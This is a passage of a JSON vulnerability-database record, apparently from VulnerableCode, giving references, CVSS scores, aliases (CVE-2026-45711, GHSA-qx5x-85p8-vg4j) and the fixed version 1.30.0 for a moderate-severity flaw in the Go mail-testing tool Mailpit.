privileges.","references":[{"reference_url":"https://github.com/axllent/mailpit","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit"},{"reference_url":"https://github.com/axllent/mailpit/releases/tag/v1.30.0","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit/releases/tag/v1.30.0"},{"reference_url":"https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/117333?format=json","purl":"pkg:golang/github.com/axllent/mailpit@1.30.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:golang/github.com/axllent/mailpit@1.30.0"}],"aliases":["CVE-2026-45711","GHSA-qx5x-85p8-vg4j"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-y7ph-bwdn-sya8"}],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:golang/github.com/axllent/mailpit@1.30.0"}